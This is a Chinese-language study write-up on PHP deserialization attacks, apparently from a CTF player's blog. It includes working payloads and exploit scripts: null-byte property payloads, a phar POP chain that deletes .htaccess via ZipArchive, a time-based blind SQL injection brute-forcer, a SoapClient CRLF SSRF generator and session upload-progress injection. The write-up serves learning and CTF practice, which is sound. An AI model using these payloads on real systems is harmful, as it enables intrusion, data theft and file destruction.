PHP反序列化总结

前言

在先知看到Threezh1师傅的文章,PHP反序列化的姿势基本都有提到,无论是之前在P牛小密圈有提到的private和protect成员变量不可见字符的问题,还是一直想写的原生类反序列化,还有比较感兴趣的session反序列化;总之是一篇不错的PHP反序列化总结,学习学习!

private成员变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//private_unserialize.php
<?php

class sketch_pl4ne{
private $args = "echo 'do something cool';";

function execute($payload){
eval($payload);
}

function __destruct(){
$this->execute($this->args);
}
}

$o = new sketch_pl4ne();
unserialize($_GET['a']);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//private_exp.php
<?php

class sketch_pl4ne{
private $args = "echo 'do something cool';";

function execute($payload){
eval($payload);
}

function setArgs(){
$this->args = "phpinfo();";
}

function __destruct(){
$this->execute($this->args);
}
}

$o = new sketch_pl4ne();
$o->setArgs();
echo serialize($o);

?>

注意:这里因为没有private成员变量的访问权限,不能用->设置变量值。

生成的payload:

1
O:12:"sketch_pl4ne":1:{s:18:"sketch_pl4neargs";s:10:"phpinfo();";}

但是打一发发现并没有按预期输出探针页面:

1.png

原因是存在空白字符,我们需要在类名左右添加空白字符:

1
O:12:"sketch_pl4ne":1:{s:18:"%00sketch_pl4ne%00args";s:10:"phpinfo();";}

2.png

小结

如果成员变量是private,类名左右需要手工添加%00,也即%00className%00

protected成员变量

1
2
3
4
5
6
7
8
9
//protected_unserialize.php
<?php
class sketch_pl4ne{
protected $args;
...

...
}
?>
1
2
3
4
//protected_exp.php
<?php
# 同 private 变量,略
?>

显然,我们直接输入构造的payload是会返回一个反序列化错误的:

3.png

原因与private类似,只不过不是在类名左右加空白字符,而是在出现*的两边加空白字符,这里Threezh1师傅貌似也是写的类名,所以还是得自己尝试一下。

payload:

1
O:12:"sketch_pl4ne":1:{s:7:"%00*%00args";s:10:"phpinfo();";}

小结

如果成员变量是protected,需要在出现*的两侧手工添加%00,也即%00\*%00

phar反序列化

关于之前写过一篇比较详细的文章 ,所以不再展开写了。这里想说的是除了文件函数会触发phar反序列化之外,还有一些其他函数因为底层调用了关键函数也可以触发反序列化,所以需要我们和这些函数认识认识,不然可能找不到phar反序列化的利用点 (比如mime_content_type ;还有需要知道绕过开头不能用phar://的几个方法。

下面的一些文章总结得比较全面:

PHP反序列化进阶学习与总结

SUCTF 2019 出题笔记 & phar 反序列化的一些拓展

zsx师傅的文章

原生类利用之 ZipArchive::open()

挺有意思的知识点,php内置类ZipArchive::open()中的flag参数如果设置为ZipArchive::OVERWRITE的话,可以把指定文件删除,当然前提是存在open函数,所以以后看到open()的话得多个心眼了

下面同样以 ByteCTF的 EZPHP为例,首先是一个hash长度拓展,老套路了:

1
2
3
4
5
6
Input Signature: 52107b08c0f3342d2153ae1d68e6262c
Input Data: adminadmin
Input Key Length: 18
Input Data to Add: test
bcb7fda11f22c5992de2093ed0e5a654
adminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00test
1
2
3
username: admin
password: admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00test
user=bcb7fda11f22c5992de2093ed0e5a654

由于 mime_content_type()是会触发反序列化的,接下来就是寻找POP链了:

将 File::checker 赋值为 Profile对象,由于不存在upload_file()函数触发__call()方法,利用ZipArchive::open删除文件。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//类到底是什么根据情况自行修改
class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}

class Profile{

public $username;
public $password;
public $admin;

function __construct()
{
$this->username = "/var/www/html/sandbox/911d87b0863d6f7e544f9c938b298c66/.htaccess";
$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;;
$this->admin = new ZipArchive();
}
}
//不变
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');

//类的属性要怎么写根据情况自行修改
$object = new File('filename', 'filepath');

//不变
$phar -> setMetadata($object);
$phar -> stopBuffering();

PS:由于filepath存在过滤,用php://filter/resource=phar://...../phar.phar绕过即可。

最后访问之前上传的一句话木马即可get shell。

原生类利用之 SoapClient SSRF

这也是最近比较常见的反序列化的点了,一般出现在要求admin登录、并且要求本地登录时,走一个unserialize -> CRLF -> SSRF的利用链。

这里以 De1CTF的 shellshellshell为例,明确下利用思路:

首先是发现注入点,写一个脚本跑出密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -- coding: utf-8 --
import requests
import string
import time

url = "http://a24cf81d-16b9-45cc-9ab1-23b73378fba1.node2.buuoj.cn.wetolink.com:82/index.php?action=publish"
s = requests.session()
cookies = {'PHPSESSID': '4em1g9rscdc9mfvddp6nno8i17'}

# 爆破长度
max_length = 100
# 字符集合
character = "abcdef1234567890"
# 数据库名
flag = ""
# 遍历每一个字符
for i in range(1, max_length):
for c in character:
signature = "123`,(if((ascii(substr((select password from ctf_users limit 1),%d,1)))=%d,sleep(5),1)))#" % (i, ord(c))
mood = 0
data = {'signature': signature, 'mood': mood}
try:

s.post(url, data=data, cookies=cookies, timeout=4.5)
except requests.exceptions.ReadTimeout:
flag += c
print(flag)
break

由于admin设置了非本地ip不允许登录,光有密码还不够,我们需要SSRF绕过限制;发现sql注入同时还存在一处反序列化漏洞:

生成本地admin登录报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=用户密码&code=你的验证码';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=需要成为admin的浏览器的cookie'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

最后注入,刷新浏览器即可成为admin,然后即可进入上传页面。

Session反序列化

存储机制

PHP中session默认是以文件形式存储的,文件以sess_sessionid命名,内容根据序列化的处理器的不同,有相应的存储格式,序列化处理器默认为php,可以通过php_serialize_handler设置。

存储格式

1
2
3
php:			键名|serialize(键值)
php_serialize: serialize(键名和键值)
php_binary: 键名长度对应的ascii字符+键名+serialize(键值)

以一个小例子验证:

1
2
3
4
5
6
//session_generate.php
<?php
ini_set('session.serialize_handler', 'php_binary');//通过更换不同的处理器观察session变化
session_start();
$_SESSION['name'] = 'sketch_pl4ne';
?>

php:

php_serialize:

PS:a:1:{xxxxxx}是默认格式

php_binary:

PS:chr(4)是不可见字符

反序列化漏洞

1
2
3
4
5
6
7
8
9
//foo1.php
<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['sketch_pl4ne'] = $_GET['a'];

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//foo2.php
<?php

ini_set('session.serialize_handler', 'php');
session_start();

class sketch_pl4ne{
var $name;

function __construct(){
$this->name = 'SP_wants_a_girlfriend.';
}

function __wakeup(){
echo 'hi! ';
}

function __destruct(){
echo $this->name;
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//payload.php
<?php

class sketch_pl4ne{
var $name;

function __construct(){
$this->name = 'SP_wants_a_girlfriend.';
}

function __wakeup(){
echo 'hi! ';
}

function __destruct(){
echo $this->name;
}
}

$o = new sketch_pl4ne();
$o->name = 'sketch_pl4ne';
echo serialize($o);

?>

payload:/foo1.php?a=|O:12:"sketch_pl4ne":1:{s:4:"name";s:12:"sketch_pl4ne";}

访问foo2.php,成功输出hi! sketch_pl4ne

查看生成的session文件:

可以发现只要我们在需要传入的序列化字符串前加|,那么走foo2.phpphp处理器时前面都会被当作session_name,后面构造的序列化字符串自然就被解析了。

php_session_uoload_progress

当没有$_SESSION[‘sketch_pl4ne’] = $_GET[‘a’]这么好的条件时该怎么写入payload呢?我们还可以利用php的上传进度报告向session文件中写入构造好的payload (doge)

这里以jarvisoj中的PHPINFO为例:PHPINFO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

发现是个很简单的反序列化,关键是找不到输入点,这里需要利用另外一种触发session反序列化的方式:利用上传进度报告向SESSION文件中写入payload。

我们可以设置一个与session.upload_progress.name同名的变量(默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

触发条件:

  • session.upload_progress.enabled=On
  • session.upload_progress.cleanup=Off

通过phpinfo()页面可以发现符合条件

首先构造一个upload.html

1
2
3
4
5
6
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<!--value为payload输入点-->
<input type="file" name="file" />
<input type="submit" />
</form>

再根据题目写一个PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
$a->mdzz = "print_r(scandir('.'));";
echo serialize($a);
?>

PS:注意在生成的payload前加|

最后flag在一个很诡异的地方= =

总结

今天得知英语作文超级加倍,唉,我反手点一个不写,闷声发大财~

明天sql注入总结,冲冲冲!

0%